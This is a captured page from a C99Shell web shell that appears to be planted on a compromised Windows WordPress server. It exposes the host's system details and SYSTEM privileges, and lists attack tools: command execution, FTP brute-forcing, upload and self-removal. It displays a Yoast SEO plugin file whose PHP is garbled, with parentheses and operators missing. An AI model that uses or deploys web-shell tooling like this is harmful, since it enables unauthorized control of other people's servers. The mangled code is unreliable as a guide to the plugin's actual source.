!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\wordpress-seo\admin\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-import-woothemes-seo.php (4.26 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO\Admin\Import\External
 */

/**
 * class WPSEO_Import_WooThemes_SEO
 *
 * Class with functionality to import WP SEO settings from WooThemes SEO
 */
class WPSEO_Import_WooThemes_SEO extends WPSEO_Import_External {

    
/**
     * Class constructor
     */
    
public function __construct() {
        
parent::__construct();

        
$this->import_home();
        
$this->import_option'seo_woo_single_layout''post' );
        
$this->import_option'seo_woo_page_layout''page' );
        
$this->import_archive_option();
        
$this->import_custom_values'seo_woo_meta_home_desc''metadesc-home-wpseo' );
        
$this->import_custom_values'seo_woo_meta_home_key''metakey-home-wpseo' );
        
$this->import_metas();

        
update_option'wpseo_titles'$this->options );

        
$this->set_msg__'WooThemes SEO framework settings &amp; data successfully imported.''wordpress-seo' ) );
    }

    
/**
     * Holds the WPSEO Title Options
     *
     * @var array
     */
    
private $options;

    
/**
     * Import options.
     *
     * @param string $option
     * @param string $post_type
     */
    
private function import_option$option$post_type ) {
        switch ( 
get_option$option ) ) {
            case 
'a':
                
$this->options'title-' $post_type ] = '%%title%% %%sep%% %%sitename%%';
                break;
            case 
'b':
                
$this->options'title-' $post_type ] = '%%title%%';
                break;
            case 
'c':
                
$this->options'title-' $post_type ] = '%%sitename%% %%sep%% %%title%%';
                break;
            case 
'd':
                
$this->options'title-' $post_type ] = '%%title%% %%sep%% %%sitedesc%%';
                break;
            case 
'e':
                
$this->options'title-' $post_type ] = '%%sitename%% %%sep%% %%title%% %%sep%% %%sitedesc%%';
                break;
        }
        
$this->perhaps_delete$option );
    }

    
/**
     * Import the archive layout for all taxonomies
     */
    
private function import_archive_option() {
        
$reinstate_replace false;
        if ( 
$this->replace ) {
            
$this->replace     false;
            
$reinstate_replace true;
        }
        
$taxonomies get_taxonomies( array( 'public' => true ), 'names' );
        if ( 
is_array$taxonomies ) && $taxonomies !== array() ) {
            foreach ( 
$taxonomies as $tax ) {
                
$this->import_option'seo_woo_archive_layout''tax-' $tax );
            }
        }
        if ( 
$reinstate_replace ) {
            
$this->replace true;
            
$this->perhaps_delete'seo_woo_archive_layout' );
        }
    }

    
/**
     * Import custom descriptions and meta keys
     *
     * @param string $option
     * @param string $key
     */
    
private function import_custom_values$option$key ) {
        
// Import the custom homepage description
        
if ( 'c' == get_option$option ) ) {
            
$this->options$key ] = get_option$option '_custom' );
        }
        
$this->perhaps_delete$option );
        
$this->perhaps_delete$option '_custom' );
    }

    
/**
     * Imports the WooThemes SEO homepage settings
     */
    
private function import_home() {
        switch ( 
get_option'seo_woo_home_layout' ) ) {
            case 
'a':
                
$this->options['title-home-wpseo'] = '%%sitename%% %%sep%% %%sitedesc%%';
                break;
            case 
'b':
                
$this->options['title-home-wpseo'] = '%%sitename%% ' get_option'seo_woo_paged_var' ) . ' %%pagenum%%';
                break;
            case 
'c':
                
$this->options['title-home-wpseo'] = '%%sitedesc%%';
                break;
        }
        
$this->perhaps_delete'seo_woo_home_layout' );
    }

    
/**
     * Import meta values if they're applicable
     */
    
private function import_metas() {
        
WPSEO_Meta::replace_meta'seo_follow'WPSEO_Meta::$meta_prefix 'meta-robots-nofollow'$this->replace );
        
WPSEO_Meta::replace_meta'seo_noindex'WPSEO_Meta::$meta_prefix 'meta-robots-noindex'$this->replace );

        
// If WooSEO is set to use the Woo titles, import those
        
if ( 'true' == get_option'seo_woo_wp_title' ) ) {
            
WPSEO_Meta::replace_meta'seo_title'WPSEO_Meta::$meta_prefix 'title'$this->replace );
        }

        
// If WooSEO is set to use the Woo meta descriptions, import those
        
if ( 'b' == get_option'seo_woo_meta_single_desc' ) ) {
            
WPSEO_Meta::replace_meta'seo_description'WPSEO_Meta::$meta_prefix 'metadesc'$this->replace );
        }

        
// If WooSEO is set to use the Woo meta keywords, import those
        
if ( 'b' == get_option'seo_woo_meta_single_key' ) ) {
            
WPSEO_Meta::replace_meta'seo_keywords'WPSEO_Meta::$meta_prefix 'metakeywords'$this->replace );
        }

        foreach ( array( 
'seo_woo_wp_title''seo_woo_meta_single_desc''seo_woo_meta_single_key' ) as $option ) {
            
$this->perhaps_delete$option );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--